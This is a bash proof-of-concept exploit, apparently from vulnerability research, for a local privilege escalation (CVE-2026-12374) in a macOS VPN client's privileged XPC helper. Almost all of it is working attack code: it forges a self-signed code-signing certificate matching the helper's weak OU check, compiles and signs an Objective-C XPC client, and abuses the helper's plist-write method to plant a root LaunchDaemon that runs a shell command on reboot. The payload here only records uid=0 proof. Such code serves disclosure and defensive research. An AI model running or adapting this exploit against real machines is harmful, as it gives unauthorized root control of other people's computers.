#!/bin/bash

# Title:   Cato Client macOS — SecureStore XPC plist-write LPE PoC
# Scope:   Authorized lab use only · fixed in Cato Client 5.13.1+
# CVE:     CVE-2026-12374
# Summary: Signs a local XPC client with a self-signed certificate whose OU
#          matches the helper's weak client check, then calls
#          writeSecureStoreCacheToDisk:at:completionHandler: to stage a
#          root LaunchDaemon. After reboot the daemon writes a uid=0 proof
#          file and removes its own plist.
# Run:     ./exploit.sh
# Optional: VERBOSE=1 ./exploit.sh | DIAGNOSE=1 ./exploit.sh

set -euo pipefail

TEAM_ID="CKGSB8CH43"
CERT_CN="CatoSecureStorePoC"
KEYCHAIN_PASS="CATO_RESEARCH_1337"

APP_INFO="/Applications/CatoClient.app/Contents/Info.plist"
EXPECTED_VERSION="5.13.0"
ANALYZED_BUILD="10208"
STRICT_BUILD="${STRICT_BUILD:-0}"
DIAGNOSE="${DIAGNOSE:-0}"
VERBOSE="${VERBOSE:-0}"

SERVICE_LABEL="com.catonetworks.mac.CatoClient.helper"
MACH_SERVICE="com.catonetworks.mac.client.daemon"
HELPER_BIN="/Library/Application Support/CatoNetworks/com.catonetworks.mac.CatoClient.helper.app/Contents/MacOS/com.catonetworks.mac.CatoClient.helper"

POC_LABEL="com.cato.research.securestore-poc"
LAUNCHD_PLIST="/Library/LaunchDaemons/${POC_LABEL}.plist"
PROOF="/var/tmp/cato_securestore_lpe_id_$(date +%s)"

WORKDIR="$(mktemp -d /tmp/cato-securestore.XXXXXX)"
KEYCHAIN="$WORKDIR/poc.keychain-db"
SRC="$WORKDIR/cato_securestore_poc.m"
CLIENT_BIN="$WORKDIR/cato_securestore_poc"
CERT_CONF="$WORKDIR/cert.conf"
CERT_PEM="$WORKDIR/poc.crt"
CERT_KEY="$WORKDIR/poc.key"
CERT_P12="$WORKDIR/poc.p12"
PROBE_FILE="$WORKDIR/probe.plist"
HELPER_STRINGS="$WORKDIR/helper.strings"
SAVED_KEYCHAINS=""

cleanup() {
    if [[ -n "${SAVED_KEYCHAINS:-}" ]]; then
        security list-keychains -s $SAVED_KEYCHAINS 2>/dev/null || true
    fi
    security delete-keychain "$KEYCHAIN" 2>/dev/null || true
    rm -rf "$WORKDIR"
}
trap cleanup EXIT INT TERM

bye() {
    echo "[x] $1"
    exit 1
}

dump_helper_diagnostics() {
    echo "[*] Helper diagnostics:"
    echo "    Helper: $HELPER_BIN"
    echo "    SHA256: $(shasum -a 256 "$HELPER_BIN" 2>/dev/null | awk '{print $1}')"
    echo "    Interesting exposed selectors/strings:"
    local strings_file="$HELPER_STRINGS"
    if [[ ! -f "$strings_file" ]]; then
        strings "$HELPER_BIN" > "$strings_file" 2>/dev/null || true
    fi
    grep -E \
        'installPackageAtPath|writeSecureStoreCache|readSecureStoreCache|linkCLIToolAtPath|captureTraffic|SystemLogs|getSystemExtensionLogs|storeSystemKeychainItem|keychainItemForAccount|certificate leaf\\[subject\\.OU\\]' \
        "$strings_file" | sort -u | sed 's/^/      /' || true
}

helper_has_string() {
    grep -Fq "$1" "$HELPER_STRINGS"
}

need_cmd() {
    command -v "$1" >/dev/null 2>&1 || bye "Missing required command: $1"
}

run_quiet() {
    local label="$1"
    shift
    echo "    - $label"
    if [[ "$VERBOSE" == "1" ]]; then
        "$@"
    else
        "$@" >/dev/null 2>&1
    fi
}

try_pkcs12_export() {
    if [[ "$VERBOSE" == "1" ]]; then
        openssl pkcs12 "$@"
    else
        openssl pkcs12 "$@" >/dev/null 2>&1
    fi
}

export_pkcs12_for_apple_keychain() {
    echo "    - Exporting certificate as Apple-compatible PKCS#12"
    rm -f "$CERT_P12"

    # OpenSSL 3 defaults can produce PKCS#12 files that Apple's security(1)
    # rejects as "MAC verification failed". Prefer legacy-compatible PBE.
    if try_pkcs12_export -export -legacy \
        -out "$CERT_P12" -inkey "$CERT_KEY" -in "$CERT_PEM" \
        -passout "pass:$KEYCHAIN_PASS"; then
        return 0
    fi

    rm -f "$CERT_P12"
    if try_pkcs12_export -export \
        -macalg sha1 -keypbe PBE-SHA1-3DES -certpbe PBE-SHA1-3DES \
        -out "$CERT_P12" -inkey "$CERT_KEY" -in "$CERT_PEM" \
        -passout "pass:$KEYCHAIN_PASS"; then
        return 0
    fi

    rm -f "$CERT_P12"
    try_pkcs12_export -export \
        -out "$CERT_P12" -inkey "$CERT_KEY" -in "$CERT_PEM" \
        -passout "pass:$KEYCHAIN_PASS"
}

echo "[*] Cato SecureStore LPE PoC"
echo "[*] Workdir: $WORKDIR"

[[ "$(uname -s)" == "Darwin" ]] || bye "This PoC is macOS-only."

for c in clang codesign openssl security strings launchctl plutil stat; do
    need_cmd "$c"
done

echo "[*](1/7) Checking installed Cato Client target ..."

[[ -f "$APP_INFO" ]] || bye "Cato Client app Info.plist not found at $APP_INFO"
VERSION="$(/usr/libexec/PlistBuddy -c 'Print :CFBundleShortVersionString' "$APP_INFO" 2>/dev/null || true)"
BUILD="$(/usr/libexec/PlistBuddy -c 'Print :CFBundleVersion' "$APP_INFO" 2>/dev/null || true)"

echo "    Version: ${VERSION:-unknown}"
echo "    Build:   ${BUILD:-unknown}"

if [[ "$VERSION" != "$EXPECTED_VERSION" ]]; then
    echo "[!] Version differs from the analyzed package: expected $EXPECTED_VERSION, found ${VERSION:-unknown}."
    echo "[!] Continuing because the script also checks the helper binary and performs a live root-write probe."
fi

if [[ "$BUILD" != "$ANALYZED_BUILD" ]]; then
    echo "[!] Build differs from the analyzed package: expected $ANALYZED_BUILD, found ${BUILD:-unknown}."
    if [[ "$STRICT_BUILD" == "1" ]]; then
        bye "STRICT_BUILD=1 is set, so build mismatch stops here."
    fi
    echo "[!] Continuing; set STRICT_BUILD=1 to require the exact analyzed build."
fi

[[ -x "$HELPER_BIN" ]] || bye "Privileged helper binary not found/executable at $HELPER_BIN"

launchctl print "system/$SERVICE_LABEL" >/dev/null 2>&1 \
    || bye "LaunchDaemon system/$SERVICE_LABEL is not loaded."

strings "$HELPER_BIN" > "$HELPER_STRINGS"

if [[ "$DIAGNOSE" == "1" ]]; then
    dump_helper_diagnostics
fi

helper_has_string "writeSecureStoreCacheToDisk:at:completionHandler:" \
    || {
        [[ "$DIAGNOSE" == "1" ]] || dump_helper_diagnostics
        bye "Target helper does not expose writeSecureStoreCacheToDisk; this SecureStore plist-write PoC does not apply to this build."
    }

helper_has_string "certificate leaf[subject.OU] = $TEAM_ID" \
    || bye "Expected weak OU-only XPC requirement was not found."

[[ -d /Library/LaunchDaemons ]] || bye "/Library/LaunchDaemons is missing."
[[ ! -e "$LAUNCHD_PLIST" ]] || bye "$LAUNCHD_PLIST already exists; remove it in the lab before running."

echo "[+] Target surface matches expected vulnerable build."

echo "[*](2/7) Creating isolated keychain ..."
security create-keychain -p "$KEYCHAIN_PASS" "$KEYCHAIN"
security unlock-keychain -p "$KEYCHAIN_PASS" "$KEYCHAIN"
security set-keychain-settings -t 7200 "$KEYCHAIN"
SAVED_KEYCHAINS="$(security list-keychains | tr -d '"' | xargs)"
security list-keychains -s "$KEYCHAIN" $SAVED_KEYCHAINS

echo "[*](3/7) Generating self-signed code-signing certificate with OU=$TEAM_ID ..."
cat > "$CERT_CONF" << CONF
[req]
default_bits = 2048
prompt = no
default_md = sha256
distinguished_name = dn
x509_extensions = ext

[dn]
C = US
O = Cato Research PoC
OU = $TEAM_ID
CN = $CERT_CN

[ext]
keyUsage = critical, digitalSignature
extendedKeyUsage = codeSigning
basicConstraints = critical, CA:FALSE
subjectKeyIdentifier = hash
CONF

run_quiet "Generating RSA-2048 certificate" \
    openssl req -x509 -newkey rsa:2048 -keyout "$CERT_KEY" -out "$CERT_PEM" \
        -days 1 -nodes -config "$CERT_CONF"
export_pkcs12_for_apple_keychain
run_quiet "Importing certificate into temporary keychain" \
    security import "$CERT_P12" -k "$KEYCHAIN" -P "$KEYCHAIN_PASS" \
        -T /usr/bin/codesign -A
run_quiet "Allowing codesign to access the key" \
    security set-key-partition-list -S "apple-tool:,apple:,codesign:" \
        -s -k "$KEYCHAIN_PASS" "$KEYCHAIN"

openssl x509 -in "$CERT_PEM" -noout -subject | sed 's/^/    /'

echo "[*](4/7) Writing and compiling XPC client ..."
cat > "$SRC" << 'EOF'
#import <Foundation/Foundation.h>
#import <dispatch/dispatch.h>
#include <stdio.h>
#include <unistd.h>

#define HELPER_SERVICE "com.catonetworks.mac.client.daemon"
#define POC_LABEL "com.cato.research.securestore-poc"

@protocol DaemonCommandProtocol
- (void)writeSecureStoreCacheToDisk:(NSDictionary *)cache
                                 at:(NSString *)path
                  completionHandler:(void (^)(BOOL ok))completionHandler;
@end

static NSDictionary *make_probe_dict(void) {
    return @{
        @"CatoSecureStoreProbe": @"probe",
        @"Timestamp": @([[NSDate date] timeIntervalSince1970])
    };
}

static NSDictionary *make_launchd_dict(NSString *plistPath, NSString *proofPath) {
    NSString *cmd = [NSString stringWithFormat:
        @"/usr/bin/id > %@; /usr/bin/whoami >> %@; /bin/rm -f %@",
        proofPath, proofPath, plistPath
    ];

    return @{
        @"Label": @POC_LABEL,
        @"ProgramArguments": @[@"/bin/sh", @"-c", cmd],
        @"RunAtLoad": @YES,
        @"StandardOutPath": @"/var/tmp/cato_securestore_lpe_stdout.log",
        @"StandardErrorPath": @"/var/tmp/cato_securestore_lpe_stderr.log"
    };
}

static int xpc_write_dict(NSDictionary *dict, NSString *path) {
    __block BOOL completed = NO;
    __block BOOL result = NO;

    NSXPCInterface *iface = [NSXPCInterface interfaceWithProtocol:@protocol(DaemonCommandProtocol)];
    NSSet *plistClasses = [NSSet setWithObjects:
        [NSDictionary class], [NSArray class], [NSString class], [NSNumber class],
        [NSDate class], [NSData class], nil
    ];

    [iface setClasses:plistClasses
          forSelector:@selector(writeSecureStoreCacheToDisk:at:completionHandler:)
        argumentIndex:0
              ofReply:NO];

    NSXPCConnection *conn = [[NSXPCConnection alloc]
        initWithMachServiceName:@HELPER_SERVICE
        options:0];
    conn.remoteObjectInterface = iface;

    dispatch_semaphore_t sem = dispatch_semaphore_create(0);

    conn.invalidationHandler = ^{
        if (!completed) {
            fprintf(stderr, "[!] XPC connection invalidated before completion.\n");
            dispatch_semaphore_signal(sem);
        }
    };
    conn.interruptionHandler = ^{
        if (!completed) {
            fprintf(stderr, "[!] XPC connection interrupted before completion.\n");
            dispatch_semaphore_signal(sem);
        }
    };

    [conn resume];

    id<DaemonCommandProtocol> proxy = [conn
        remoteObjectProxyWithErrorHandler:^(NSError *error) {
            fprintf(stderr, "[!] XPC proxy error: %s\n",
                error.localizedDescription.UTF8String);
            completed = YES;
            dispatch_semaphore_signal(sem);
        }];

    [proxy writeSecureStoreCacheToDisk:dict
                                    at:path
                     completionHandler:^(BOOL ok) {
        result = ok;
        completed = YES;
        dispatch_semaphore_signal(sem);
    }];

    long wait = dispatch_semaphore_wait(
        sem,
        dispatch_time(DISPATCH_TIME_NOW, 15LL * NSEC_PER_SEC)
    );

    [conn invalidate];

    if (wait != 0) {
        fprintf(stderr, "[!] Timed out waiting for helper completion.\n");
        return 2;
    }

    return result ? 0 : 3;
}

int main(int argc, char **argv) {
    @autoreleasepool {
        if (argc < 3) {
            fprintf(stderr,
                "Usage:\n"
                "  %s probe <path>\n"
                "  %s launchd <plist_path> <proof_path>\n",
                argv[0], argv[0]);
            return 1;
        }

        NSString *mode = [NSString stringWithUTF8String:argv[1]];
        NSString *path = [NSString stringWithUTF8String:argv[2]];
        NSDictionary *dict = nil;

        if ([mode isEqualToString:@"probe"]) {
            dict = make_probe_dict();
        } else if ([mode isEqualToString:@"launchd"]) {
            if (argc < 4) {
                fprintf(stderr, "[x] launchd mode needs a proof path.\n");
                return 1;
            }
            NSString *proof = [NSString stringWithUTF8String:argv[3]];
            dict = make_launchd_dict(path, proof);
        } else {
            fprintf(stderr, "[x] Unknown mode: %s\n", argv[1]);
            return 1;
        }

        return xpc_write_dict(dict, path);
    }
}
EOF

sed -i '' "s/com\\.catonetworks\\.mac\\.client\\.daemon/${MACH_SERVICE}/g" "$SRC"

clang -fobjc-arc -framework Foundation "$SRC" -o "$CLIENT_BIN"

echo "[*](5/7) Signing XPC client with OU=$TEAM_ID certificate ..."
codesign -f -s "$CERT_CN" --keychain "$KEYCHAIN" "$CLIENT_BIN" >/dev/null 2>&1
codesign -dvv "$CLIENT_BIN" 2>&1 | sed 's/^/    /'

echo "[*](6/7) Runtime vulnerability probe through the helper ..."
if "$CLIENT_BIN" probe "$PROBE_FILE"; then
    [[ -f "$PROBE_FILE" ]] || bye "Probe callback succeeded, but probe file was not created."
    PROBE_OWNER="$(stat -f '%Su' "$PROBE_FILE")"
    echo "    Probe file:  $PROBE_FILE"
    echo "    Probe owner: $PROBE_OWNER"
    [[ "$PROBE_OWNER" == "root" ]] || bye "Probe file was not root-owned; refusing to continue."
else
    bye "XPC probe failed; target does not appear exploitable from this client."
fi

rm -f "$PROBE_FILE"
echo "[+] Probe confirmed root helper file write."

echo "[*](7/7) Staging LaunchDaemon root-execution proof ..."
if "$CLIENT_BIN" launchd "$LAUNCHD_PLIST" "$PROOF"; then
    [[ -f "$LAUNCHD_PLIST" ]] || bye "Helper reported success, but LaunchDaemon plist was not created."
else
    bye "Failed to write LaunchDaemon plist through vulnerable helper."
fi

PLIST_OWNER="$(stat -f '%Su:%Sg' "$LAUNCHD_PLIST")"
echo "    LaunchDaemon: $LAUNCHD_PLIST"
echo "    Owner:        $PLIST_OWNER"
plutil -lint "$LAUNCHD_PLIST" | sed 's/^/    /'

if [[ "$PLIST_OWNER" != "root:wheel" && "$PLIST_OWNER" != "root:admin" && "$PLIST_OWNER" != "root:staff" ]]; then
    echo "[!] Plist owner is unexpected; launchd may reject it."
fi

echo "[+] Exploit staged."
echo "[+] Reboot the lab Mac to trigger root execution."
echo "[+] After reboot, check:"
echo "    cat $PROOF"
echo "[+] Expected proof contains uid=0(root). The payload removes $LAUNCHD_PLIST after it runs."
